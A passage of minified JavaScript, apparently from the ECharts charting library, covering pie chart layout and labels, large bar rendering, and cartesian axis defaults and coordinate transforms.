r=t.getItemLayout(e);return{cx:r.cx,cy:r.cy,r0:r.r0,r:r.r,startAngle:r.startAngle,endAngle:r.endAngle,clockwise:r.clockwise}}};function wM(t){return function(t){var e=t?"Arc":"Angle";return function(t){switch(t){case"start":case"insideStart":case"end":case"insideEnd":return t+e;default:return t}}}(t)}function SM(t,e,n,r,i,o,a,s){var l=e.getItemVisual(n,"style");if(s){if(!o.get("roundCap")){var u=t.shape;I(u,cM(r.getModel("itemStyle"),u,!0)),t.setShape(u)}}else{var c=r.get(["itemStyle","borderRadius"])||0;t.setShape("r",c)}t.useStyle(l);var h=r.getShallow("cursor");h&&t.attr("cursor",h);var f=s?a?i.r>=i.r0?"endArc":"startArc":i.endAngle>=i.startAngle?"endAngle":"startAngle":a?function(t,e){if(0===t.height){return e.getOtherAxis(e.getBaseAxis()).inverse?"bottom":"top"}return t.height>0?"bottom":"top"}(i,o.coordinateSystem):function(t,e){if(0===t.width){return e.getOtherAxis(e.getBaseAxis()).inverse?"left":"right"}return t.width>=0?"right":"left"}(i,o.coordinateSystem),p=Ph(r);Lh(t,p,{labelFetcher:o,labelDataIndex:n,defaultText:Iw(o.getData(),n),inheritColor:l.fill,defaultOpacity:l.opacity,defaultOutsidePosition:f});var d=t.getTextContent();if(s&&d){var g=r.get(["label","position"]);t.textConfig.inside="middle"===g||null,function(t,e,n,r){if(Z(r))t.setTextConfig({rotation:r});else if(U(e))t.setTextConfig({rotation:0});else{var i,o=t.shape,a=o.clockwise?o.startAngle:o.endAngle,s=o.clockwise?o.endAngle:o.startAngle,l=(a+s)/2,u=n(e);switch(u){case"startArc":case"insideStartArc":case"middle":case"insideEndArc":case"endArc":i=l;break;case"startAngle":case"insideStartAngle":i=a;break;case"endAngle":case"insideEndAngle":i=s;break;default:return void t.setTextConfig({rotation:0})}var c=1.5*Math.PI-i;"middle"===u&&c>Math.PI/2&&c<1.5*Math.PI&&(c-=Math.PI),t.setTextConfig({rotation:c})}}(t,"outside"===g?f:g,wM(a),r.get(["label","rotate"]))}!function(t,e,n,r){if(t){var i=Fh(t);i.prevValue=i.value,i.value=n;var o=e.normal;i.valueAnimation=o.get("valueAnimation"),i.valueAnimation&&(i.precision=o.get("precision"),i.defaultInterpolatedText=r,i.statesModels=e)}}(d,p,o.getRawValue(n),function(t){return Dw(e,t)});var v=r.getModel(["emphasis"]);Du(t,v.get("focus"),v.get("blurScope"),v.get("disabled")),Pu(t,r),function(t){return null!=t.startAngle&&null!=t.endAngle&&t.startAngle===t.endAngle}(i)&&(t.style.fill="none",t.style.stroke="none",E(t.states,function(t){t.style&&(t.style.fill=t.style.stroke="none")}))}var MM=function(){},TM=function(t){function e(e){var n=t.call(this,e)||this;return n.type="largeBar",n}return n(e,t),e.prototype.getDefaultShape=function(){return new MM},e.prototype.buildPath=function(t,e){for(var n=e.points,r=this.baseDimIdx,i=1-this.baseDimIdx,o=[],a=[],s=this.barWidth,l=0;l<n.length;l+=3)a[r]=s,a[i]=n[l+2],o[r]=n[l+r],o[i]=n[l+i],t.rect(o[0],o[1],a[0],a[1])},e}(nl);function kM(t,e,n,r){var i=t.getData(),o=i.getLayout("valueAxisHorizontal")?1:0,a=i.getLayout("largeDataIndices"),s=i.getLayout("size"),l=t.getModel("backgroundStyle"),u=i.getLayout("largeBackgroundPoints"),c=r?function(t,e){return it(e,!0)?t.seriesIndex+2:0}(t):0;if(u){var h=new TM({shape:{points:u},incremental:c,silent:!0,z2:0});h.baseDimIdx=o,h.largeDataIndices=a,h.barWidth=s,h.useStyle(l.getItemStyle()),e.add(h),n&&n.push(h)}var f=new TM({shape:{points:i.getLayout("largePoints")},incremental:c,ignoreCoarsePointer:!0,z2:1});f.baseDimIdx=o,f.largeDataIndices=a,f.barWidth=s,e.add(f),f.useStyle(i.getVisual("style")),f.style.stroke=null,Dl(f).seriesIndex=t.seriesIndex,t.get("silent")||(f.on("mousedown",CM),f.on("mousemove",CM)),n&&n.push(f)}var CM=Ug(function(t){var e=function(t,e,n){for(var r=t.baseDimIdx,i=1-r,o=t.shape.points,a=t.largeDataIndices,s=[],l=[],u=t.barWidth,c=0,h=o.length/3;c<h;c++){var f=3*c;if(l[r]=u,l[i]=o[f+2],s[r]=o[f+r],s[i]=o[f+i],l[i]<0&&(s[i]+=l[i],l[i]=-l[i]),e>=s[0]&&e<=s[0]+l[0]&&n>=s[1]&&n<=s[1]+l[1])return a[c]}return-1}(this,t.offsetX,t.offsetY);Dl(this).dataIndex=e>=0?e:null},30,!1);function IM(t,e,n){if(Jw(n,"cartesian2d")){var r=e,i=n.getArea();return{x:t?r.x:i.x,y:t?i.y:r.y,width:t?r.width:i.width,height:t?i.height:r.height}}var o=e;return{cx:(i=n.getArea()).cx,cy:i.cy,r0:t?i.r0:o.r0,r:t?i.r:o.r,startAngle:t?o.startAngle:0,endAngle:t?o.endAngle:2*Math.PI}}var DM,AM=function(){function t(t,e){this._getDataWithEncodedVisual=t,this._getRawData=e}return t.prototype.getAllNames=function(){var t=this._getRawData();return t.mapArray(t.getName)},t.prototype.containName=function(t){return this._getRawData().indexOfName(t)>=0},t.prototype.indexOfName=function(t){return this._getDataWithEncodedVisual().indexOfName(t)},t.prototype.getItemVisual=function(t,e){return this._getDataWithEncodedVisual().getItemVisual(t,e)},t}(),LM="pie",PM=Zo(),OM=function(t){function e(){var n=null!==t&&t.apply(this,arguments)||this;return n.type=e.type,n}return n(e,t),e.prototype.init=function(e){t.prototype.init.apply(this,arguments),this.legendVisualProvider=new AM(W(this.getData,this),W(this.getRawData,this)),this._defaultLabelLine(e)},e.prototype.mergeOption=function(){t.prototype.mergeOption.apply(this,arguments)},e.prototype.getInitialData=function(){return function(t,e,n){e=U(e)&&{coordDimensions:e}||I({encodeDefine:t.getEncode()},e);var r=t.getSource(),i=f_(r,e).dimensions,o=new h_(i,t);return o.initData(r,n),o}(this,{coordDimensions:["value"],encodeDefaulter:G(Lp,this)})},e.prototype.getDataParams=function(e){var n=this.getData(),r=PM(n),i=r.seats;if(!i){var o=[];n.each(n.mapDimension("value"),function(t){o.push(t)}),i=r.seats=ho(o,n.hostModel.get("percentPrecision"))}var a=t.prototype.getDataParams.call(this,e);return a.percent=i[e]||0,a.$vars.push("percent"),a},e.prototype._defaultLabelLine=function(t){Bo(t,"labelLine",["show"]);var e=t.labelLine,n=t.emphasis.labelLine;e.show=e.show&&t.label.show,n.show=n.show&&t.emphasis.label.show},e.type="series."+LM,e.defaultOption={z:2,legendHoverLink:!0,colorBy:"data",center:["50%","50%"],radius:[0,"50%"],clockwise:!0,startAngle:90,endAngle:"auto",padAngle:0,minAngle:0,minShowLabelAngle:0,selectedOffset:10,percentPrecision:2,stillShowZeroSum:!0,coordinateSystemUsage:"box",left:0,top:0,right:0,bottom:0,width:null,height:null,label:{rotate:0,show:!0,overflow:"truncate",position:"outer",alignTo:"none",edgeDistance:"25%",distanceToLabelLine:5},labelLine:{show:!0,length:15,length2:30,smooth:!1,minTurnAngle:90,maxSurfaceAngle:90,lineStyle:{width:1,type:"solid"}},itemStyle:{borderWidth:1,borderJoin:"round"},showEmptyCircle:!0,emptyCircleStyle:{color:"lightgray",opacity:1},labelLayout:{hideOverlap:!0},emphasis:{scale:!0,scaleSize:5},avoidLabelOverlap:!0,animationType:"expansion",animationDuration:1e3,animationTypeUpdate:"transition",animationEasingUpdate:"cubicInOut",animationDurationUpdate:500,animationEasing:"cubicInOut"},e}(kg);DM={fullType:OM.type,getCoord2:function(t){return t.getShallow("center")}},ep.set(DM.fullType,{getCoord2:void 0}).getCoord2=DM.getCoord2;var RM=Math.PI/180;function NM(t,e,n,r,i,o,a,s,l,u){if(!(t.length<2)){for(var c=t.length,h=0;h<c;h++)if("outer"===t[h].position&&"labelLine"===t[h].labelAlignTo){var f=t[h].label.x-u;t[h].linePoints[1][0]+=f,t[h].label.x=u}(function(t,e,n,r,i){var o=t.length,a=ah[e],s=sh[e];if(o<2)return!1;t.sort(function(t,e){return t.rect[a]-e.rect[a]});for(var l,u=0,c=!1,h=0,f=0;f<o;f++){var p=t[f],d=p.rect;(l=d[a]-u)<0&&(d[a]-=l,p.label[a]-=l,c=!0),h+=Math.max(-l,0),u=d[a]+d[s]}h>0&&i&&b(-h/o,0,o);var g,v,y=t[0],m=t[o-1];function _(){g=y.rect[a]-n,v=r-m.rect[a]-m.rect[s]}function x(t,e,n){if(t<0){var r=Math.min(e,-t);if(r>0){b(r*n,0,o);var i=r+t;i<0&&w(-i*n,1)}else w(-t*n,1)}}function b(e,n,r){0!==e&&(c=!0);for(var i=n;i<r;i++){var o=t[i];o.rect[a]+=e,o.label[a]+=e}}function w(e,n){for(var r=[],i=0,l=1;l<o;l++){var u=t[l-1].rect,c=Math.max(t[l].rect[a]-u[a]-u[s],0);r.push(c),i+=c}if(i){var h=Math.min(Math.abs(e)/i,n);if(e>0)for(l=0;l<o-1;l++)b(r[l]*h,0,l+1);else for(l=o-1;l>0;l--)b(-r[l-1]*h,l,o)}}function S(t){var e=t<0?-1:1;t=Math.abs(t);for(var n=Math.ceil(t/(o-1)),r=0;r<o-1;r++)if(e>0?b(n,0,r+1):b(-n,o-r-1,o),(t-=n)<=0)return}return _(),g<0&&w(-g,.8),v<0&&w(v,.8),_(),x(g,v,1),x(v,g,-1),_(),g<0&&S(-g),v<0&&S(v),c})(t,1,l,l+a)&&function(t){for(var o={list:[],maxY:0},a={list:[],maxY:0},s=0;s<t.length;s++)if("none"===t[s].labelAlignTo){var l=t[s],u=l.label.y>n?a:o,c=Math.abs(l.label.y-n);if(c>=u.maxY){var h=l.label.x-e-l.len2*i,f=r+l.len,d=Math.abs(h)<f?Math.sqrt(c*c/(1-h*h/f/f)):f;u.rB=d,u.maxY=c}u.list.push(l)}p(o),p(a)}(t)}function p(t){for(var o=t.rB,a=o*o,s=0;s<t.list.length;s++){var l=t.list[s],u=Math.abs(l.label.y-n),c=r+l.len,h=c*c,f=Math.sqrt(Math.abs((1-u*u/a)*h)),p=e+(f+l.len2)*i,d=p-l.label.x;EM(l,l.targetTextWidth-d*i,!0),l.label.x=p}}}function EM(t,e,n){if(null==t.labelStyleWidth){var r=t.label,i=r.style,o=t.rect,a=i.backgroundColor,s=i.padding,l=s?s[1]+s[3]:0,u=i.overflow,c=o.width+(a?0:l);if(e<c||n){if(u&&u.match("break")){r.setStyle("backgroundColor",null),r.setStyle("width",e-l);var h=r.getBoundingRect();r.setStyle("width",Math.ceil(h.width)),r.setStyle("backgroundColor",a)}else{var f=e-l,p=e<c?f:n?f>t.unconstrainedWidth?null:f:null;r.setStyle("width",p)}BM(o,r)}}}function BM(t,e){FM.rect=t,iw(FM,e,zM)}var zM={minMarginForce:[null,0,null,0],marginDefault:[1,0,1,0]},FM={};function VM(t){return"center"===t.position}function HM(t){var e,n,r=t.getData(),i=[],o=!1,a=(t.get("minShowLabelAngle")||0)*RM,s=r.getLayout("viewRect"),l=r.getLayout("r"),u=s.width,c=s.x,h=s.y,f=s.height;function p(t){t.ignore=!0}r.each(function(t){var s=r.getItemGraphicEl(t),h=s.shape,d=s.getTextContent(),g=s.getTextGuideLine(),v=r.getItemModel(t),y=v.getModel("label"),m=y.get("position")||v.get(["emphasis","label","position"]),_=y.get("distanceToLabelLine"),x=y.get("alignTo"),b=oo(y.get("edgeDistance"),u),w=y.get("bleedMargin");null==w&&(w=Math.min(u,f)>200?10:2);var S=v.getModel("labelLine"),M=S.get("length");M=oo(M,u);var T=S.get("length2");if(T=oo(T,u),Math.abs(h.endAngle-h.startAngle)<a)return E(d.states,p),d.ignore=!0,void(g&&(E(g.states,p),g.ignore=!0));if(function(t){if(!t.ignore)return!0;for(var e in t.states)if(!1===t.states[e].ignore)return!0;return!1}(d)){var k,C,I,D,A=(h.startAngle+h.endAngle)/2,L=Math.cos(A),P=Math.sin(A);e=h.cx,n=h.cy;var O="inside"===m||"inner"===m;if("center"===m)k=h.cx,C=h.cy,D="center";else{var R=(O?(h.r+h.r0)/2*L:h.r*L)+e,N=(O?(h.r+h.r0)/2*P:h.r*P)+n;if(k=R+3*L,C=N+3*P,!O){var B=R+L*(M+l-h.r),z=N+P*(M+l-h.r),F=B+(L<0?-1:1)*T;k="edge"===x?L<0?c+b:c+u-b:F+(L<0?-_:_),C=z,I=[[R,N],[B,z],[F,z]]}D=O?"center":"edge"===x?L>0?"right":"left":L>0?"left":"right"}var V=Math.PI,H=0,W=y.get("rotate");if(Z(W))H=W*(V/180);else if("center"===m)H=0;else if("radial"===W||!0===W){H=L<0?-A+V:-A}else if("tangential"===W||"tangential-noflip"===W&&"outside"!==m&&"outer"!==m){var G=Math.atan2(L,P);G<0&&(G=2*V+G),P>0&&"tangential-noflip"!==W&&(G=V+G),H=G-V}if(o=!!H,d.x=k,d.y=C,d.rotation=H,d.setStyle({verticalAlign:"middle"}),O){d.setStyle({align:D});var U=d.states.select;U&&(U.x+=d.x,U.y+=d.y)}else{var X=new Be(0,0,0,0);BM(X,d),i.push({label:d,labelLine:g,position:m,len:M,len2:T,minTurnAngle:S.get("minTurnAngle"),maxSurfaceAngle:S.get("maxSurfaceAngle"),surfaceNormal:new Se(L,P),linePoints:I,textAlign:D,labelDistance:_,labelAlignTo:x,edgeDistance:b,bleedMargin:w,rect:X,unconstrainedWidth:X.width,labelStyleWidth:d.style.width})}s.setTextConfig({inside:O})}}),!o&&t.get("avoidLabelOverlap")&&function(t,e,n,r,i,o,a,s){for(var l=[],u=[],c=Number.MAX_VALUE,h=-Number.MAX_VALUE,f=0;f<t.length;f++){var p=t[f].label;VM(t[f])||(p.x<e?(c=Math.min(c,p.x),l.push(t[f])):(h=Math.max(h,p.x),u.push(t[f])))}for(f=0;f<t.length;f++)if(!VM(v=t[f])&&v.linePoints){if(null!=v.labelStyleWidth)continue;p=v.label;var d=v.linePoints,g=void 0;g="edge"===v.labelAlignTo?p.x<e?d[2][0]-v.labelDistance-a-v.edgeDistance:a+i-v.edgeDistance-d[2][0]-v.labelDistance:"labelLine"===v.labelAlignTo?p.x<e?c-a-v.bleedMargin:a+i-h-v.bleedMargin:p.x<e?p.x-a-v.bleedMargin:a+i-p.x-v.bleedMargin,v.targetTextWidth=g,EM(v,g,!1)}for(NM(u,e,n,r,1,0,o,0,s,h),NM(l,e,n,r,-1,0,o,0,s,c),f=0;f<t.length;f++){var v;if(!VM(v=t[f])&&v.linePoints){p=v.label,d=v.linePoints;var y="edge"===v.labelAlignTo,m=p.style.padding,_=m?m[1]+m[3]:0,x=p.style.backgroundColor?0:_,b=v.rect.width+x,w=d[1][0]-d[2][0];y?p.x<e?d[2][0]=a+v.edgeDistance+b+v.labelDistance:d[2][0]=a+i-v.edgeDistance-b-v.labelDistance:(p.x<e?d[2][0]=p.x+v.labelDistance:d[2][0]=p.x-v.labelDistance,d[1][0]=d[2][0]+w),d[1][1]=d[2][1]=p.y}}}(i,e,n,l,u,f,c,h);for(var d=0;d<i.length;d++){var g=i[d],v=g.label,y=g.labelLine,m=isNaN(v.x)||isNaN(v.y);if(v){v.setStyle({align:g.textAlign}),m&&(E(v.states,p),v.ignore=!0);var _=v.states.select;_&&(_.x+=v.x,_.y+=v.y)}if(y){var x=g.linePoints;m||!x?(E(y.states,p),y.ignore=!0):(Kb(x,g.minTurnAngle),$b(x,g.surfaceNormal,g.maxSurfaceAngle),y.setShape({points:x}),v.__hostTarget.textGuideLineConfig={anchor:new Se(x[0][0],x[0][1])})}}}var WM=2*Math.PI,GM=Math.PI/180,UM=function(t,e){return{seriesType:t,overallReset:e}}(LM,function(t,e){t.eachSeriesByType(LM,function(t){var n=t.getData(),r=n.mapDimension("value"),i=lp(t,e),o=i.cx,a=i.cy,s=i.r,l=i.r0,u=i.viewRect,c=-t.get("startAngle")*GM,h=t.get("endAngle"),f=t.get("padAngle")*GM;h="auto"===h?c-WM:-h*GM;var p=t.get("minAngle")*GM+f,d=0;n.each(r,function(t){!isNaN(t)&&d++});var g=n.getSum(r),v=Math.PI/(g||d)*2,y=t.get("clockwise"),m=t.get("roseType"),_=t.get("stillShowZeroSum"),x=n.getDataExtent(r);x[0]=0;var b=y?1:-1,w=[c,h],S=b*f/2;Rs(w,!y),c=w[0],h=w[1];var M=XM(t);M.startAngle=c,M.endAngle=h,M.clockwise=y,M.cx=o,M.cy=a,M.r=s,M.r0=l;var T=Math.abs(h-c),k=T,C=0,I=c;if(n.setLayout({viewRect:u,r:s}),n.each(r,function(t,e){var r;if(isNaN(t))n.setItemLayout(e,{angle:NaN,startAngle:NaN,endAngle:NaN,clockwise:y,cx:o,cy:a,r0:l,r:m?NaN:s});else{(r="area"!==m?0===g&&_?v:t*v:T/d)<p?(r=p,k-=p):C+=t;var i=I+b*r,u=0,c=0;f>r?c=u=I+b*r/2:(u=I+S,c=i-S),n.setItemLayout(e,{angle:r,startAngle:u,endAngle:c,clockwise:y,cx:o,cy:a,r0:l,r:m?io(t,x,[l,s]):s}),I=i}}),k<WM&&d)if(k<=.001){var D=T/d;n.each(r,function(t,e){if(!isNaN(t)){var r=n.getItemLayout(e);r.angle=D;var i=0,o=0;D<f?o=i=c+b*(e+.5)*D:(i=c+b*e*D+S,o=c+b*(e+1)*D-S),r.startAngle=i,r.endAngle=o}})}else v=k/C,I=c,n.each(r,function(t,e){if(!isNaN(t)){var r=n.getItemLayout(e),i=r.angle===p?p:t*v,o=0,a=0;i<f?a=o=I+b*i/2:(o=I+S,a=I+b*i-S),r.startAngle=o,r.endAngle=a,I+=b*i}})})});var XM=Zo(),YM=function(t){function e(e,n,r){var i=t.call(this)||this;i.z2=2;var o=new yl;return i.setTextContent(o),i.updateData(e,n,r,!0),i}return n(e,t),e.prototype.updateData=function(t,e,n,r){var i=this,o=t.hostModel,a=t.getItemModel(e),s=a.getModel("emphasis"),l=t.getItemLayout(e),u=I(cM(a.getModel("itemStyle"),l,!0),l);if(isNaN(u.startAngle))i.setShape(u);else{if(r){i.setShape(u);var c=o.getShallow("animationType");o.ecModel.ssr?(Jc(i,{scaleX:0,scaleY:0},o,{dataIndex:e,isFrom:!0}),i.originX=u.cx,i.originY=u.cy):"scale"===c?(i.shape.r=l.r0,Jc(i,{shape:{r:l.r}},o,e)):null!=n?(i.setShape({startAngle:n,endAngle:n}),Jc(i,{shape:{startAngle:l.startAngle,endAngle:l.endAngle}},o,e)):(i.shape.endAngle=l.startAngle,Qc(i,{shape:{endAngle:l.endAngle}},o,e))}else ih(i),Qc(i,{shape:u},o,e);i.useStyle(t.getItemVisual(e,"style")),Pu(i,a);var h=(l.startAngle+l.endAngle)/2,f=o.get("selectedOffset"),p=Math.cos(h)*f,d=Math.sin(h)*f,g=a.getShallow("cursor");g&&i.attr("cursor",g),this._updateLabel(o,t,e),i.ensureState("emphasis").shape=I({r:l.r+(s.get("scale")&&s.get("scaleSize")||0)},cM(s.getModel("itemStyle"),l)),I(i.ensureState("select"),{x:p,y:d,shape:cM(a.getModel(["select","itemStyle"]),l)}),I(i.ensureState("blur"),{shape:cM(a.getModel(["blur","itemStyle"]),l)});var v=i.getTextGuideLine(),y=i.getTextContent();v&&I(v.ensureState("select"),{x:p,y:d}),I(y.ensureState("select"),{x:p,y:d}),Du(this,s.get("focus"),s.get("blurScope"),s.get("disabled"))}},e.prototype._updateLabel=function(t,e,n){var r=this,i=e.getItemModel(n),o=i.getModel("labelLine"),a=e.getItemVisual(n,"style"),s=a&&a.fill,l=a&&a.opacity;Lh(r,Ph(i),{labelFetcher:e.hostModel,labelDataIndex:n,inheritColor:s,defaultOpacity:l,defaultText:t.getFormattedLabel(n,"normal")||e.getName(n)});var u=r.getTextContent();r.setTextConfig({position:null,rotation:null}),u.attr({z2:10});var c=i.get(["label","position"]);if("outside"!==c&&"outer"!==c)r.removeTextGuideLine();else{var h=this.getTextGuideLine();h||(h=new Tc,this.setTextGuideLine(h)),function(t,e,n){var r=t.getTextGuideLine(),i=t.getTextContent();if(i){for(var o=e.normal,a=o.get("show"),s=i.ignore,l=0;l<Zl.length;l++){var u=Zl[l],c=e[u],h="normal"===u;if(c){var f=c.get("show");if((h?s:it(i.states[u]&&i.states[u].ignore,s))||!it(f,a)){var p=h?r:r&&r.states[u];p&&(p.ignore=!0),r&&Qb(r,!0,u,c);continue}r||(r=new Tc,t.setTextGuideLine(r),h||!s&&a||Qb(r,!0,"normal",e.normal),t.stateProxy&&(r.stateProxy=t.stateProxy)),Qb(r,!1,u,c)}}if(r){A(r.style,n),r.style.fill=null;var d=o.get("showAbove");(t.textGuideLineConfig=t.textGuideLineConfig||{}).showAbove=d||!1,r.buildPath=Jb}}else r&&t.removeTextGuideLine()}(this,function(t,e){e=e||"labelLine";for(var n={normal:t.getModel(e)},r=0;r<ql.length;r++){var i=ql[r];n[i]=t.getModel([i,e])}return n}(i),{stroke:s,opacity:ot(o.get(["lineStyle","opacity"]),l,1)})}},e}(mc),qM=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.type=LM,e.ignoreLabelLineUpdate=!0,e}return n(e,t),e.prototype.render=function(t,e,n,r){var i,o=t.getData(),a=this._data,s=this.group;if(!a&&o.count()>0){for(var l=o.getItemLayout(0),u=1;isNaN(l&&l.startAngle)&&u<o.count();++u)l=o.getItemLayout(u);l&&(i=l.startAngle)}if(this._emptyCircleSector&&s.remove(this._emptyCircleSector),0===o.count()&&t.get("showEmptyCircle")){var c=XM(t),h=new mc({shape:k(c)});h.useStyle(t.getModel("emptyCircleStyle").getItemStyle()),this._emptyCircleSector=h,s.add(h)}o.diff(a).add(function(t){var e=new YM(o,t,i);o.setItemGraphicEl(t,e),s.add(e)}).update(function(t,e){var n=a.getItemGraphicEl(e);n.updateData(o,t,i),n.off("click"),s.add(n),o.setItemGraphicEl(t,n)}).remove(function(e){rh(a.getItemGraphicEl(e),t,e)}).execute(),HM(t),"expansion"!==t.get("animationTypeUpdate")&&(this._data=o)},e.prototype.dispose=function(){},e.prototype.containPoint=function(t,e){var n=e.getData().getItemLayout(0);if(n){var r=t[0]-n.cx,i=t[1]-n.cy,o=Math.sqrt(r*r+i*i);return o<=n.r&&o>=n.r0}},e.type=LM,e}(zg);var ZM=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n(e,t),e.prototype.getCoordSysModel=function(){return this.getReferringComponents("grid",Qo).models[0]},e.type="cartesian2dAxis",e}(vp);R(ZM,Mx);var jM={show:!0,z:0,inverse:!1,name:"",nameLocation:"end",nameRotate:null,nameTruncate:{maxWidth:null,ellipsis:"...",placeholder:"."},nameTextStyle:{},nameGap:15,silent:!1,triggerEvent:!1,tooltip:{show:!1},axisPointer:{},axisLine:{show:!0,onZero:"auto",onZeroAxisIndex:null,lineStyle:{color:yp.color.axisLine,width:1,type:"solid"},symbol:["none","none"],symbolSize:[10,15],breakLine:!0},axisTick:{show:!0,inside:!1,length:5,lineStyle:{width:1}},axisLabel:{show:!0,inside:!1,rotate:0,showMinLabel:null,showMaxLabel:null,margin:8,fontSize:12,color:yp.color.axisLabel,textMargin:[0,3]},splitLine:{show:!0,showMinLine:!0,showMaxLine:!0,lineStyle:{color:yp.color.axisSplitLine,width:1,type:"solid"}},splitArea:{show:!1,areaStyle:{color:[yp.color.backgroundTint,yp.color.backgroundTransparent]}},breakArea:{show:!0,itemStyle:{color:yp.color.neutral00,borderColor:yp.color.border,borderWidth:1,borderType:[3,3],opacity:.6},zigzagAmplitude:4,zigzagMinSpan:4,zigzagMaxSpan:20,zigzagZ:100,expandOnClick:!0},breakLabelLayout:{moveOverlap:"auto"}},KM=C({boundaryGap:!0,deduplication:null,jitter:0,jitterOverlap:!0,jitterMargin:2,splitLine:{show:!1},axisTick:{alignWithLabel:!1,interval:"auto",show:"auto"},axisLabel:{interval:"auto"}},jM),$M=C({boundaryGap:[0,0],axisLine:{show:"auto"},axisTick:{show:"auto"},splitNumber:5,minorTick:{show:!1,splitNumber:5,length:3,lineStyle:{}},minorSplitLine:{show:!1,lineStyle:{color:yp.color.axisMinorSplitLine,width:1}}},jM),QM={category:KM,value:$M,time:C({splitNumber:6,axisLabel:{rich:{primary:{fontWeight:"bold"}}},splitLine:{show:!1}},$M),log:A({logBase:10},$M)};function JM(t,e,r,i){E(sx,function(o,a){var s=C(C({},QM[a],!0),i,!0),l=function(t){function r(){var n=null!==t&&t.apply(this,arguments)||this;return n.type=e+"Axis."+a,n}return n(r,t),r.prototype.mergeDefaultAndTheme=function(t,e){var n=fp(this),r=n?dp(t):{};C(t,e.getTheme().get(a+"Axis")),C(t,this.getDefaultOption()),t.type=tT(t),n&&pp(t,r,n)},r.prototype.optionUpdated=function(){"category"===this.option.type&&(this.__ordinalMeta=S_.createByAxisModel(this))},r.prototype.getCategories=function(t){var e=this.option;if("category"===e.type)return t?e.data:this.__ordinalMeta.categories},r.prototype.getOrdinalMeta=function(){return this.__ordinalMeta},r.prototype.updateAxisBreaks=function(t){return{breaks:[]}},r.type=e+"Axis."+a,r.defaultOption=s,r}(r);t.registerComponentModel(l)}),t.registerSubTypeDefaulter(e+"Axis",tT)}function tT(t){return t.type||(t.data?"category":"value")}var eT=function(){function t(t){this.type="cartesian",this._dimList=[],this._axes={},this.name=t||""}return t.prototype.getAxis=function(t){return this._axes[t]},t.prototype.getAxes=function(){return B(this._dimList,function(t){return this._axes[t]},this)},t.prototype.getAxesByScale=function(t){return t=t.toLowerCase(),F(this.getAxes(),function(e){return e.scale.type===t})},t.prototype.addAxis=function(t){var e=t.dim;this._axes[e]=t,this._dimList.push(e)},t}(),nT=["x","y"];function rT(t){return("interval"===t.type||"time"===t.type)&&!pf(t)}var iT=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.type=jS,e.dimensions=nT,e}return n(e,t),e.prototype.calcAffineTransform=function(){this._transform=this._invTransform=null;var t=this.getAxis("x").scale,e=this.getAxis("y").scale;if(rT(t)&&rT(e)){var n=A_(t,null),r=A_(e,null),i=this.dataToPoint([n[0],r[0]]),o=this.dataToPoint([n[1],r[1]]),a=n[1]-n[0],s=r[1]-r[0];if(a&&s){var l=(o[0]-i[0])/a,u=(o[1]-i[1])/s,c=i[0]-n[0]*l,h=i[1]-r[0]*u,f=this._transform=[l,0,0,u,c,h];this._invTransform=be([],f)}}},e.prototype.getBaseAxis=function(){return this.getAxesByScale("ordinal")[0]||this.getAxesByScale("time")[0]||this.getAxis("x")},e.prototype.containPoint=function(t){var e=this.getAxis("x"),n=this.getAxis("y");return e.contain(e.toLocalCoord(t[0]))&&n.contain(n.toLocalCoord(t[1]))},e.prototype.containData=function(t){return this.getAxis("x").containData(t[0])&&this.getAxis("y").containData(t[1])},e.prototype.containZone=function(t,e){var n=this.dataToPoint(t),r=this.dataToPoint(e),i=this.getArea(),o=new Be(n[0],n[1],r[0]-n[0],r[1]-n[1]);return i.intersect(o)},e.prototype.dataToPoint=function(t,e,n){n=n||[];var r=t[0],i=t[1];if(this._transform&&null!=r&&isFinite(r)&&null!=i&&isFinite(i))return Ht(n,t,this._transform);var o=this.getAxis("x"),a=this.getAxis("y");return n[0]=o.toGlobalCoord(o.dataToCoord(r,e)),n[1]=a.toGlobalCoord(a.dataToCoord(i,e)),n},e.prototype.clampData=function(t,e){var n=this.getAxis("x").scale,r=this.getAxis("y").scale,i=n.getExtent(),o=r.getExtent(),a=n.parse(t[0]),s=r.parse(t[1]);return(e=e||[])[0]=Math.min(Math.max(Math.min(i[0],i[1]),a),Math.max(i[0],i[1])),e[1]=Math.min(Math.max(Math.min(o[0],o[1]),s),Math.max(o[0],o[1])),e},e.prototype.pointToData=function(t,e,n){if(n=n||[],this._invTransform)return Ht(n,t,this._invTransform);var r=this.getAxis("x"),i=this.getAxis("y");return n[0]=r.coordToData(r.toLocalCoord(t[0]),e),n[1]=i.coordToData(i.toLocalCoord(t[1]),e),n},e.prototype.getOtherAxis=function(t){return this.getAxis("x"===t.dim?"y":"x")},e.prototype.getArea=function(t){t=t||0;var e=this.getAxis("x").getGlobalExtent(),n=this.getAxis("y").getGlobalExtent(),r=Math.min(e[0],e[1])-t,i=Math.min(n[0],n[1])-t,o=Math.max(e[0],e[1])-r+t,a=Math.max(n[0],n[1])-i+t;return new Be(r,i,o,a)},e}(eT);function oT(t,e){var n=t.scale,r=t.model;var i,o,a,s=Kx(n,r,r.ecModel,t,null),l=B_(n),u=B_(e)?e.intervalStub:e,c=l?n.intervalStub:n,h=n.base,f=u.getTicks(),p=u.getTicks({expandToNicedExtent:!0}),d=f.length-1;if(1===d)i=o=0,a=1;else if(2===d){var g=ji(f[0].value-f[1].value),v=ji(f[1].value-f[2].value);i=o=0,g===v?a=2:(a=1,g<v?i=g/v:o=v/g)}else{var y=u.getConfig().interval;i=(1-(f[0].value-p[0].value)/y)%1,o=(1-(p[d].value-f[d].value)/y)%1,a=d-(i?1:0)-(o?1:0)}var m,_,x,b,w,S,M=s.zoomFixMM,T=M[0]||M[1],k=[s.fixMM[0]||T,s.fixMM[1]||T],C=n.getExtent(),I=c.getExtent(),D=G_(I,k);function A(t){for(var e=0;e<50&&!t();e++)x=l?x*Zi(h,2):F_(x),b=V_(x)}function L(){m=so(S-x*i,b)}function P(){_=so(w+x*o,b)}function O(){S=i?so(m+x*i,b):m}function R(){w=o?so(_-x*o,b):_}if(k[0]&&k[1]){m=D[0],_=D[1],x=(_-m)/(a+i+o);var N=t.getExtent(),E=ji(N[1]-N[0]);b=function(t,e,n){var r=ji(t[1]-t[0]);if(!isFinite(r)||0===r)return NaN;var i=to(2*ji(n||1)*ji(r))/eo,o=to(ji(e))/eo,a=Zi(0,Qi(-i+o));return isFinite(a)||(a=NaN),a}([_,m],E,.5/a),O(),R(),Co(b)&&(x=so(x,b))}else{var 